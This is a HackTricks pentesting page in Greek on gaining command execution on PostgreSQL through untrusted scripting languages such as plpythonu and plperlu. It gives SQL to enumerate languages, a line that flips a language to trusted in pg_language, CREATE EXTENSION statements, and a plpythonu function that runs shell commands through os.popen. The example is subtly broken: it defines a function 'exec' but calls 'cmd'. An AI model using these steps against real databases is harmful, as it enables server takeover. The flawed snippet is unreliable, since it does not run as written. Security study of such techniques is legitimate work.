RCE με Γλώσσες PostgreSQL

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Γλώσσες PostgreSQL

Η βάση δεδομένων PostgreSQL στην οποία έχετε πρόσβαση μπορεί να έχει διαφορετικές γλώσσες scripting εγκατεστημένες που θα μπορούσατε να εκμεταλλευτείτε για να εκτελέσετε αυθαίρετο κώδικα.

Μπορείτε να τις εκκινήσετε:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Οι περισσότερες από τις γλώσσες scripting που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν 2 γεύσεις: την έμπιστη και την μη έμπιστη. Η μη έμπιστη θα έχει ένα όνομα που τελειώνει σε "u" και θα είναι η έκδοση που θα σας επιτρέπει να εκτελείτε κώδικα και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι γλώσσες που αν εγκατασταθούν είναι ενδιαφέρουσες:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση)

warning

Εάν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι εγκατεστημένη αλλά μη έμπιστη από το PostgreSQL (lanpltrusted είναι false) μπορείτε να προσπαθήσετε να την εμπιστευθείτε με την παρακάτω γραμμή ώστε να μην επιβληθούν περιορισμοί από το PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Για να ελέγξετε τα δικαιώματά σας πάνω στον πίνακα pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Εάν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να την φορτώσετε με (πρέπει να είστε superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Σημειώστε ότι είναι δυνατόν να μεταγλωττίσετε τις ασφαλείς εκδόσεις ως "ανασφαλείς". Ελέγξτε αυτό για παράδειγμα. Έτσι, αξίζει πάντα να προσπαθήσετε αν μπορείτε να εκτελέσετε κώδικα ακόμη και αν βρείτε εγκατεστημένη μόνο την έμπιστη.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Ελέγξτε την παρακάτω σελίδα:

PL/pgSQL Password Bruteforce

C

Ελέγξτε την παρακάτω σελίδα:

RCE with PostgreSQL Extensions

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks